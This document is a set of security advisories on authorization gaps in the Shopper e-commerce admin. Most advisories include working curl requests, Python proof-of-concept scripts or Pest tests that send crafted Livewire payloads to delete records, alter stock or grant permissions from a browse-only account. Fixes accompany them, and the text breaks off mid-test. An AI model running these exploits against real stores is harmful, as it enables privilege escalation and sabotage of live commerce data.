A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse_collections, can detach individual products or bulk-detach all products from any collection in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

• packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105

// Line 40 - client-mutable, no #[Locked]
public Collection $collection;

// Lines 73-88 - per-record delete action, no ->authorize(...)
->recordActions([
    Action::make('delete')
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->iconButton()
        ->color('danger')
        ->requiresConfirmation()
        ->action(function (Product $record): void {
            $this->collection->products()->detach([$record->id]);
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        }),
])

// Lines 91-105 - bulk remove action, no ->authorize(...)
->groupedBulkActions([
    DeleteBulkAction::make()
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->requiresConfirmation()
        ->action(function (EloquentCollection $records): void {
            $this->collection->products()->detach($records->pluck('id')->toArray());
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        })
        ->deselectRecordsAfterCompletion(),
])

Steps to reproduce

Prerequisites: any admin-panel account, including one whose role holds only browse_collections (no edit_collections required).

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).
# Step 2: Call the bulk table action on the CollectionProducts component,
#          substituting collection ID 5 in the component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{
        "path": "",
        "method": "callBulkAction",
        "params": ["delete", [1, 2, 3, 4, 5]]
      }]
    }]
  }'
# Expected: HTTP 200, all listed product IDs detached from collection 5,
#           regardless of the caller having only browse_collections.

Proof of concept

#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  COLLECTION_ID   integer ID of the target collection
  PRODUCT_IDS     comma-separated product IDs to detach (e.g. "1,2,3")
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
collection_id = int(os.environ['COLLECTION_ID'])
product_ids   = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'collection': collection_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callBulkAction',
            'params': ['delete', product_ids],
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

A staff member holding only browse_collections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.

Suggested fix

// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php

use Livewire\Attributes\Locked;

#[Locked]                          // prevent client-side ID substitution
public Collection $collection;

// Per-record action:
Action::make('delete')
    ->authorize('edit_collections')  // add this
    ->action(function (Product $record): void {
        $this->collection->products()->detach([$record->id]);
        // ...
    }),

// Bulk action:
DeleteBulkAction::make()
    ->authorize('edit_collections')  // add this
    ->action(function (EloquentCollection $records): void {
        $this->collection->products()->detach($records->pluck('id')->toArray());
        // ...
    })

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Title

Missing authorization on Media sub-form store action allows unpermissioned product media update

Description

A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browse_products, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding edit_products. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)

Affected files

• packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76

// Lines 64-76 - store() with no authorize() call
public function store(): void
{
    $this->validate();

    $this->product->update($this->form->getState());  // overwrites thumbnail + gallery media

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}

The five sibling components that were fixed in commit fcd0c59 each now have:

public function store(): void
{
    $this->authorize('edit_products');  // present in Edit, Inventory, Seo, Shipping, Files
    // ...
}

Media.store() does not.

Steps to reproduce

Prerequisites: an admin-panel account whose role holds browse_products but NOT edit_products.

SESSION="laravel_session=<your_session_value>"
XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"

# Step 1: Load a product edit page as an admin to obtain the Media component's
#         Livewire snapshot ID and the product's public ID.
#         The component snapshot appears in the HTML source as data-livewire-snapshot.

# Step 2: As the low-privilege browse-only session, call store() on the Media component,
#         pointing at the captured component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "<snapshot JSON from page source with product locked>",
      "updates": {},
      "calls": [{"path":"","method":"store","params":[]}]
    }]
  }'
# Expected: HTTP 200, product thumbnail and images updated without edit_products.

Proof of concept

#!/usr/bin/env python3
"""
Media component authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  laravel_session cookie value (browse-only staff session)
  XSRF_TOKEN      URL-decoded XSRF-TOKEN cookie value
  SNAPSHOT_JSON   the full Livewire snapshot JSON string for the Media component
                  (copy from data-livewire-snapshot in the product edit page source)

The snapshot already contains the locked product ID, so no ID substitution is needed.
The bypass is purely the missing authorize() on store().
"""

import json
import os
import requests

base_url = os.environ['BASE_URL']
session  = os.environ['SESSION_COOKIE']
xsrf     = os.environ['XSRF_TOKEN']
snapshot = os.environ['SNAPSHOT_JSON']

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{'path': '', 'method': 'store', 'params': []}]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

A staff member with only browse_products can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.

Suggested fix

// packages/admin/src/Livewire/Components/Products/Form/Media.php

public function store(): void
{
    $this->authorize('edit_products');  // add this line

    $this->validate();

    $this->product->update($this->form->getState());

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Title

Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Description

A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

• packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91

// Line 34 - unprotected, client-mutable variant binding
public $variant;

// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
    return Action::make('stock')
        ->label(__('shopper::forms.actions.update'))
        ->color('gray')
        ->icon(Untitledui::Package)
        ->modalHeading(__('shopper::pages/products.modals.variants.title'))
        ->modalWidth(Width::Large)
        ->schema([
            Select::make('inventory')
                ->label(__('shopper::pages/products.inventory_name'))
                ->options(Inventory::query()->pluck('name', 'id'))
                ->native(false)
                ->required(),
            TextInput::make('quantity')
                ->label(__('shopper::forms.label.quantity'))
                ->placeholder('-10 or -5 or 50, etc')
                ->numeric()
                ->required(),
        ])
        ->action(function (array $data): void {
            // ...calls $this->variant->mutateStock(...) or decreaseStock(...)
            // with no permission check anywhere in this path
        });
}

Steps to reproduce

Prerequisites: an admin-panel account with any role (including a role that holds only browse_products or browse_orders). No edit_product_variants permission is required.

# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
# Obtain them from a normal browser login, then use them below.

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.

# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "$XSRF" \
  -H "Cookie: $SESSION" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
    }]
  }'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

Proof of concept

#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  VARIANT_ID      integer ID of any target variant
  INVENTORY_ID    integer ID of the target inventory location
  QUANTITY        integer quantity adjustment (positive or negative)
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
variant_id    = int(os.environ['VARIANT_ID'])
inventory_id  = int(os.environ['INVENTORY_ID'])
quantity      = int(os.environ['QUANTITY'])

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'variant': variant_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callAction',
            'params': ['stock', {
                'inventory': inventory_id,
                'quantity': quantity,
            }]
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browse_products can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.

Suggested fix

// packages/admin/src/Livewire/Components/Products/VariantStock.php

use Livewire\Attributes\Locked;

#[Locked]                     // prevent client-side ID substitution
public $variant;

public function stockAction(): Action
{
    return Action::make('stock')
        ->authorize('edit_product_variants')   // add this
        // ... rest of the action

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Summary

Three Livewire admin components in shopper/framework (latest master at commit fcd0c59, released as v2.8.0) gate state-mutating actions on the read-only view_users permission. This is the same class as the issue Shopper fixed in v2.8.0 / PR #511 / GHSA-f946-9qp6-vgch — the PR moved most write actions from view_users to access_setting, but three were missed (one of them is a brand-new file added by the security commit itself).

A staff user holding only view_users + access_dashboard (a realistic "support" or "viewer" role per Shopper's own PermissionsTableSeeder) can: (1) self-escalate by granting any permission to their own role; (2) create a brand-new admin team member with a chosen password and the admin role and then log in as that user; (3) delete arbitrary permissions rows (RBAC DoS) or — when can_be_removed=true — delete entire roles.

CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (High). CWE-285 (Improper Authorization) + CWE-862 (Missing Authorization).

Vulnerable components (paths relative to repo root)

1) packages/admin/src/Livewire/Components/Settings/Team/Permissions.php

• togglePermission(int $id) at line 28 calls $this->authorize('view_users');
• removePermission(int $id) at line 55 calls $this->authorize('view_users');

The Permissions blade at packages/admin/resources/views/livewire/components/settings/team/permissions.blade.php line 34 emits every permission's id directly in wire:click handlers, so the attacker does not even need to guess IDs — the page itself enumerates them.

Net effect: any user who can mount the Permissions component (gated on view_users) can grant any permission row to the bound $role. Granting access_setting to the attacker's own role unlocks every action that PR #511 supposedly hardened with ->authorize('access_setting'). Granting delete_customers, edit_orders, edit_products, add_brands, etc. is direct data-modification escalation.

2) packages/admin/src/Livewire/SlideOvers/CreateTeamMember.php

• mount() at line 53 calls $this->authorize('view_users');
• store() at line 122 calls $this->authorize('view_users');

This file is new file mode 100755 in commit fcd0c59 — it was created as part of the security fix and inherited the same misclassified gate.

store() creates a User with email_verified_at = now(), the attacker's chosen password, and any selected role_id. The Radio::make('role_id') options filter only excludes config('shopper.admin.roles.user'), so the admin role is selectable. Log out, log in as the new account → full admin.

3) packages/admin/src/Livewire/Pages/Settings/Team/RolePermission.php

• deleteAction at lines 81-90: only gated by ->visible($this->role->can_be_removed), with no ->authorize() chain.

Page-level mount (line 52) requires only view_users. For any role with can_be_removed = true, a view_users-only user can call the action and delete the role (cascading the loss of permissions for every assigned user).

Self-confirmation in the project's own test suite

The following tests are green on master @ fcd0c59 — they ARE the PoC:

tests/Admin/Livewire/Components/Settings/Team/PermissionsTest.php
  line 14-16: `givePermissionTo('view_users')` only
  line 36-45: "can toggle permission to role" — passes
  line 74-85: "can remove permission" — passes

tests/Admin/Livewire/SlideOvers/CreateTeamMemberTest.php
  line 16-18: `givePermissionTo('view_users')` only
  line 29-56: "can create new team member" — passes, asserts the new user `hasRole('manager')`

A view_users-only Livewire user actor successfully toggles permissions, removes permissions, and creates a new privileged user — verified by Shopper's own regression tests.

Suggested fix

Change $this->authorize('view_users') to $this->authorize('access_setting') in:

• Permissions::togglePermission
• Permissions::removePermission
• Permissions::mount (defence in depth, matches Team\Index)
• CreateTeamMember::mount
• CreateTeamMember::store

Add ->authorize('access_setting') to RolePermission::deleteAction (matches the pattern already applied to generatePermissionsAction, createPermissionAction, and Team\Index::DeleteAction).

Update the two regression tests to use access_setting instead of view_users so they accurately reflect the privilege boundary.

Resources

• Prior advisory of the same class: https://github.com/shopperlabs/shopper/security/advisories/GHSA-f946-9qp6-vgch
• Fix commit that introduced these residual gaps: https://github.com/shopperlabs/shopper/commit/fcd0c5920588702df5b874f432b1042abd77a50b
• CWE-285 Improper Authorization
• CWE-862 Missing Authorization

Credits

Reported by Vishal Shukla(@shukla304) using sechub.dev AI Agent

Support

If this disclosure was useful and if users would like to support continued open-source security research and responsible-disclosure work, they can sponsor at https://github.com/sponsors/therawdev — Shoppers thanks those who keeping open source safe.

Summary

Four Livewire components in the Settings area expose destructive Filament actions (delete / edit) that perform no server-side authorization. Any authenticated user who can reach the Settings pages — i.e. holding only the coarse access_setting permission, without being an admin and without any delete_*/edit_* permission — can delete tax zones, tax rates, shipping zones, and carrier (shipping-rate) options by invoking the component action directly over the Livewire endpoint.

These records sit on the storefront checkout path, so deleting them breaks shipping-rate calculation, removes region-scoped payment methods, and corrupts tax resolution at checkout.

This is inconsistent with the rest of the admin, where destructive actions are gated by granular permissions (e.g. Settings/Locations/Index uses ->authorize('delete_inventories'), and Order/Detail gates mutating actions with edit_orders).

Affected components

| Component | File | Unauthorized action | |---|---|---| | Settings\Zones\ZoneShippingOptions | packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php:47 | delete → CarrierOption::query()->find($arguments['id'])->delete() (id is client-supplied) | | Settings\Zones\Detail | packages/admin/src/Livewire/Components/Settings/Zones/Detail.php:46 | delete → DeleteAction on the bound Zone | | Settings\Taxes\Detail | packages/admin/src/Livewire/Components/Settings/Taxes/Detail.php:42 | delete → DeleteAction on the bound TaxZone | | Settings\Taxes\TaxRates | packages/admin/src/Livewire/Components/Settings/Taxes/TaxRates.php:97 | delete → DeleteAction on a TaxRate |

Each file contains zero authorize calls, and the actions declare neither ->authorize() nor an enforced ->visible() guard.

Details

The Settings pages mount these as child Livewire components. The parent page authorizes access_setting (e.g. Pages/Settings/Taxes.php:29), but the child components do not re-check authorization, and their destructive actions carry no ->authorize(). Because each Livewire component handles its own /livewire/update requests, the action executes purely on the page-level access_setting gate — there is no per-resource permission, and delete_zones / delete_taxes permissions are never even generated by the seeder (packages/admin/database/seeders/PermissionsTableSeeder.php).

ZoneShippingOptions::deleteAction() is the clearest case — it deletes by an id taken straight from the client action arguments with no scoping and no permission check:

// packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php
public function deleteAction(): Action
{
    return Action::make('delete')
        ->requiresConfirmation()
        // ... no ->authorize(), no ->visible()
        ->action(function (array $arguments): void {
            CarrierOption::query()->find($arguments['id'])->delete();   // client-controlled id
            // ...
        });
}

Proof of Concept

Confirmed with the project's own test harness (Pest + Orchestra Testbench, SQLite) — the real Livewire/Filament code path, executed as a non-admin user holding only access_setting.

use Livewire\Livewire;
use Shopper\Core\Models\{CarrierOption, Zone};
use Shopper\Livewire\Components\Settings\Zones\ZoneShippingOptions;
use Tests\Core\Stubs\User;

uses(Tests\Admin\TestCase::class);

it('low-priv access_setting user deletes a CarrierOption with no authorization', function (): void {
    $attacker = User::factory()->create();
    $attacker->givePermissionTo('access_setting');          // NOT admin, NO delete_* permission
    $this->actingAs($attacker, config('shopper.auth.guard'));

    $zone   = Zone::factory()->create();
    $option = CarrierOption::factory()->create(['zone_id' => $zone->id]);

    Livewire::test(ZoneShippingOptions::class, ['selectedZoneId' => $zone->id])
        ->callAction('delete', arguments: ['id' => $option->id]);

    expect(CarrierOption::query()->find($option->id))->toBeNull();   // deleted -> vulnerable
});

Result:

Attacker: isAdmin()=false, can('access_setting')=true, can('delete_zones')=false, can('edit_zones')=false
[BEFORE] CarrierOption count = 1  (target #1 'DHL Express' exists = YES)
[ATTACK] callAction('delete', id=1) on ZoneShippingOptions
[AFTER ] CarrierOption count = 0  (target #1 exists = NO -> deleted)

PASS  3 passed (11 assertions)
  ✓ CONTROL — Order/Detail::markPaid is correctly hidden without edit_orders (harness enforces declared authz)
  ✓ a CarrierOption is deleted by the low-priv user
  ✓ a shipping Zone is deleted by the low-priv user

The CONTROL case rules out a false positive: the same harness correctly denies Order/Detail::markPaid for a user lacking edit_orders, proving authorization is enforced when a component declares it — these four components simply declare none.

Impact

A low-privileged staff member (or a compromised low-privileged account) can sabotage the storefront's checkout/revenue path without any delete permission:

• Delete a CarrierOption → that shipping rate disappears from checkout for the zone.
• Delete a Zone → removes the country → carrier/payment-method/currency mapping; customers shipping to those countries lose all shipping and payment options (CarrierRateService::getRatesForZone / getManualRates read these directly).
• Delete a TaxZone / TaxRate → TaxCalculator::resolveZone() can no longer resolve the zone, corrupting tax calculation at checkout.

Net effect: integrity and availability damage to live commerce configuration, performed by a principal who was never granted that authority (least-privilege violation).

Secondary issue found while reproducing

Zones\Detail::deleteAction()->after() calls $this->reset('zone'), but zone is a #[Computed] method (not a property), so it throws ReflectionException after the row is deleted. Worth fixing alongside the authorization gap.

Suggested remediation

Add an authorization check to each action, and ideally a mount() guard on each child component, matching the pattern already used in Settings/Locations/Index.php and Team/RolePermission.php:

public function deleteAction(): Action
{
    return Action::make('delete')
        ->authorize('access_setting')   // or a new granular delete_zones / delete_taxes permission
        ->requiresConfirmation()
        // ...
}

Apply to the delete (and edit) actions in all four components. Consider also generating granular *_zones / *_taxes permissions so settings access can follow least privilege, and fix the $this->reset('zone') call in Zones\Detail.

Summary

The Shopper Framework discount management functionality accepts negative discount values without server-side validation.

It was confirmed that negative fixed-amount discounts can be created through the administrative interface, persisted to the database, and subsequently processed by the cart/order calculation pipeline.

The application appears to assume that discount values are always positive but does not enforce this assumption during creation, storage, or calculation.

As a result, malformed discount records can influence financial calculations and produce unintended order totals.

Affected Product

Package: shopper/framework

Version Tested: 2.8.1

Vulnerability Type

• Business Logic Vulnerability
• Improper Input Validation (CWE-20)

Description

While reviewing the discount functionality, it was discovered that the application accepts negative discount values through the administrative interface.

Example values tested:

-50.00
-99,999,999.00

The application accepted these values without validation and stored them in the database.

Example records observed in the sh_discounts table:

1 | QCZ5Y3HESM | fixed_amount | -5000
4 | TOZKAHCB4S | fixed_amount | -9999999900

This demonstrates that negative discount values are successfully persisted.

Steps to Reproduce

1. Create a Discount

Login as an administrator.

Navigate to:

/cpanel/discounts

Create a new discount with the following values:

Type: fixed_amount
Value: -99999999

Save the discount.

2. Observe Successful Creation

The discount is accepted by the application and displayed in the administration interface.

Example:

Code: TOZKAHCB4S
Amount: -$99,999,999.00

3. Verify Database Persistence

Inspect the database:

select * from sh_discounts;

Observed entry:

TOZKAHCB4S | fixed_amount | -9999999900

Technical Analysis

Discount Calculation

File:

vendor/shopper/cart/src/Discounts/DiscountCalculator.php

Observed code:

$fixedAmount = $discount->value;

The value is later processed without validation:

$fixedAmount = min($fixedAmount, $applicableSubtotal);

When a negative value is supplied:

min(-9999999900, 10000)

returns:

-9999999900

allowing the negative value to continue through the calculation pipeline.

The resulting adjustment values are inserted into the database:

CartLineAdjustment::query()->insert($adjustments);

No validation was identified to ensure that discount amounts are positive before calculations occur.

Final Total Calculation

File:

vendor/shopper/cart/src/Pipelines/Calculate.php

Observed logic:

$context->total = max(
    0,
    $context->taxInclusive
        ? $context->subtotal - $context->discountTotal
        : $context->subtotal - $context->discountTotal + $context->taxTotal
);

Because negative discount values are allowed to reach this stage, financial calculations are performed using malformed discount data.

Example:

Subtotal      = 10000
DiscountTotal = -5000

Resulting calculation:

10000 - (-5000)

Result:

15000

This demonstrates that negative discount values directly affect order total calculations.

Impact

The following was confirmed:

• Negative discount values are accepted.
• Negative discount values are persisted.
• Negative discount values are processed by the discount calculation engine.
• Negative discount values affect order total calculations.

Potential consequences include:

• Incorrect pricing calculations.
• Financial data integrity issues.
• Unexpected order totals.
• Violated assumptions within downstream pricing logic.
• Future vulnerabilities if additional components assume discount values are always positive.

Because Shopper is a headless e-commerce administration framework and does not ship with a customer-facing storefront, it was not verified a customer-facing exploitation path.

However, malformed discount records currently propagate through pricing calculations without validation.

Recommendation

Implement server-side validation enforcing positive discount values before persistence and before entering the calculation pipeline.

Suggested validation:

Fixed Amount Discounts

value > 0

Percentage Discounts

0 < value <= 100

Additionally, existing discount records should be validated before calculation to prevent malformed data from influencing pricing logic.

Environment

Shopper Framework 2.8.1
Laravel 12.61.1
PHP 8.4.16
SQLite

Summary

Five Filament groupedBulkActions blocks across the Shopper admin Livewire pages omit the ->authorize(...) permission gate, while their per-record sibling actions (and other Shopper Index pages such as Pages/Settings/Currencies.php, Pages/Reviews/Index.php, Pages/Collection/Index.php, and Pages/Discount/Index.php) correctly chain ->authorize(...). Each affected page's mount() only requires the read-only browse_* permission, so a low-privilege staff user holding only the read permission can drive the bulk endpoint via the standard Livewire callTableBulkAction flow and execute state-mutating operations they were never granted. The vulnerability is the same class as GHSA-f946-9qp6-vgch and GHSA-j328-xmgp-j4q3 (read-only permission gating a write action), just on a different surface (Filament 4 groupedBulkActions rather than top-level Livewire methods).

A staff user holding only browse_attributes can permanently delete every product attribute in the catalog (cascading break of every dependent product variant). A user holding only browse_tags can permanently delete every product tag. Users holding browse_brands, browse_categories, or browse_suppliers can flip the visibility (is_enabled) of every brand/category/supplier in bulk, sabotaging storefront catalog visibility.

CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H = 8.1 High. CWE-285 (Improper Authorization) and CWE-862 (Missing Authorization). The attacker has low privilege (browse-only staff role), no user interaction, network reachable.

Vulnerable components (paths relative to repo root)

All references are HEAD = commit ac9a760 on master (the very commit that closed the previous wave of authorization-drift bugs from GHSA-j328-xmgp-j4q3).

1) packages/admin/src/Livewire/Pages/Attribute/Browse.php

Mount at line 36–39 requires only browse_attributes.

• Lines 106–122: DeleteBulkAction::make() has NO ->authorize(...) chain (the surrounding per-record delete action at lines 95–104 correctly does ->authorize('delete_attributes')).
• Lines 123–138: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 139–155: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_attributes-only user can delete every row in the attributes table, and toggle is_enabled on every attribute in one request. Deleting an attribute cascades into every product variant that references it via the attribute_product pivot.

2) packages/admin/src/Livewire/Pages/Tag/Index.php

Mount at line 39 requires only browse_tags.

• Lines 96–108: DeleteBulkAction::make() has NO ->authorize(...) chain (the per-record delete action at lines 79–94 correctly does ->authorize('delete_tags')).

Net effect: a browse_tags-only user can delete every ProductTag row.

3) packages/admin/src/Livewire/Pages/Brand/Index.php

Mount at line 37–40 requires only browse_brands.

• Lines 97–112: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 113–129: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_brands-only user can flip is_enabled on every brand. Disabling all brands removes them from the storefront catalog. The per-record edit/delete actions and the DeleteBulkAction at lines 130–148 are correctly ->authorize(...) gated — only the visibility bulk actions were missed.

4) packages/admin/src/Livewire/Pages/Category/Index.php

Mount at line 38–41 requires only browse_categories.

• Lines 102–117: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 118–133: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_categories-only user can flip is_enabled on every category. Same shape as Brand.

5) packages/admin/src/Livewire/Pages/Supplier/Index.php

Mount at line 38 requires only browse_suppliers.

• Lines 93–108: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 109–125: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_suppliers-only user can flip is_enabled on every supplier.

Reference comparison: places that ARE correctly gated

For reference, here is what the same pattern looks like in files that DID get the fix:

• packages/admin/src/Livewire/Pages/Settings/Currencies.php lines 90–129: every BulkAction chains ->authorize('access_setting').
• packages/admin/src/Livewire/Pages/Reviews/Index.php lines 105–119: DeleteBulkAction chains ->authorize('delete_reviews').
• packages/admin/src/Livewire/Pages/Collection/Index.php lines 109–128: DeleteBulkAction chains ->authorize('delete_collections').
• packages/admin/src/Livewire/Pages/Discount/Index.php lines 126–145: DeleteBulkAction chains ->authorize('delete_discounts').

The convention is established and applied elsewhere — these five files just missed it.

Proof of Concept

The attached file tests/Admin/Livewire/Pages/Brand/AuthBypassPocTest.php (added in this report) contains seven Pest tests, each acting as a browse_*-only staff user and invoking the bulk endpoint. All seven pass on master @ ac9a760:

   PASS  Tests\Admin\Livewire\Pages\Brand\AuthBypassPocTest
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all brands via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-ENABLE all brands via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all categories via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all suppliers via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can DELETE all attributes via unguarded DeleteBulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all attributes via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: browse_tags viewer can DELETE all product tags via unguarded DeleteBulkAction

  Tests:    7 passed (32 assertions)

Each test seeds three records, signs in a user holding only the corresponding browse_* permission, calls Livewire::test(<Page>::class)->callTableBulkAction(...), and asserts the side effect (records flipped or deleted). For example, the attribute mass-delete test:

$this->viewer = User::factory()->create();
$this->viewer->givePermissionTo('browse_attributes');
$this->actingAs($this->viewer);

Attribute::factory()->count(3)->create();
expect($this->viewer->can('delete_attributes'))->toBeFalse();

Livewire::test(AttributeBrowse::class)
